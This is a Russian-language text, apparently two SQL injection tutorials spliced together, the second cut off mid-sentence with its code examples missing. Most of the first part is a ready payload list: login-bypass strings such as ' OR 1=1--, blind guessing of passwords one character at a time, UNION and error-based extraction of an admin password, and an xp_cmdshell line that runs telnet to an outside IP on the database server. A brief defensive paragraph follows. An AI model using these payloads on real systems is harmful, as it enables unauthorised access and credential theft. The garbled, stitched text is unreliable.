Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как «». Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.
Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:
SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337
В таком случае можно попробовать следующие варианты:
‘ OR 1=1—
» OR 1=1—
OR 1=1—
‘ OR ‘a’=’a
» OR «a»=»a
‘) OR (‘a’=’a
OR ‘1’=’1′
Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов…
Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:
‘ OR password>’a
Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие «b», «c», «d», «e»… и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:
‘ OR password=’x
и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
"xxy":
‘ OR password=’xxx
чтобы не упустить не один вариант!
MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:
"; exec master..xp_cmdshell "telnet 192.168.0.1" --
У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом
‘ UNION SELECT TOP 1 login FROM users—
(login имя поля содержащего логин, а users — имя таблицы,
полуученые в процессе анализа ошибок).
Ответ может быть следующим:
Syntax error converting the nvarchar value "admin" to a column of data type int.
/default.asp, line 27
Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:
‘ UNION SELECT TOP 1 password FROM users where login=’admin’—
Результат:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int.
/tedault.asp, line 27
Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
воспользоваться и залогинится в систему 😉
Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server — рулит 🙂
Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL
запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL
. Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это…
Простейшая SQL инъекция для чайников
В этой статье я объясню основы SQL Injection с примером, который показывает SQL-инъекцию.
Как следует из названия, эту атаку можно выполнить с помощью SQL-запросов. Многие веб-разработчики не знают, как злоумышленник может вмешиваться в SQL-запросы. SQL-Injection может выполняться в веб-приложении, которое не фильтрует вход пользователя должным образом и не доверяет тому, что предоставляет пользователь. Идея SQL-инъекции - заставить приложение запускать нежелательные SQL-запросы.
Конечно, мы не хакеры, но чтобы уметь защищаться, надо понимать, как действует враг. Все примеры, упомянутые в этой статье, протестированы на такой конфигурации:
Большинство веб-приложений имеют страницу входа. Поэтому мы начнем с этого. Предположим, что есть такая форма:
Когда пользователь вводит имя пользователя и пароль, он будет отправлен на sql.php через метод HTTP_POST: Пример максимально упрощен для понимания. Что здесь происходит? Мы , а затем к таблице «test_in» делаем запрос на выборку. Если поля имя пользователя и пароль совпадают, то в результате функция mysql_fetch_row() будет выдавать хотя бы один результат, то есть отличаться от “false”. Пятая строка в данном php-скрипте уязвима. Попробуйте оставить поле пароля пустым, а в логин ввести следующее:
Тогда результат всегда будет "Вы вошли"!
То есть мы получаем доступ к информации, которая должна по идее выдаваться только пользователю, знающему связку «логин-пароль». Почему так происходит?
Дело в том, что тогда выполняется вот такая строка:
SELECT * from test_in where user_name="" OR 1=1 -- " and password="" А здесь условие такое: или имя пользователя должно быть равным ничему или же единица должна быть единице. Понятно, что последнее условие выполняться всегда, поэтому и результат будет отличным от “false”. А чтобы не выполнялось еще одно условие (проверка на пароль) – мы закомментируем конец строки. Не забудьте только после перед двумя тире поставить хотя бы один пробел – иначе будет ошибка синтаксиса.
Понятно, что для того, чтобы выполнить такой запрос, надо хотя бы знать, как именно происходит авторизация пользователя. Однако, у взломщиков есть множество шаблонов для sql-инъекций.
Итак, в этой статье мы научились создавать простейшую sql-инъекцию. В следующий статьях я разовью данную тему, а также научу, как защищаться от несанкционированного доступа. А если вам требуется проверить вашу систему, то вы можете
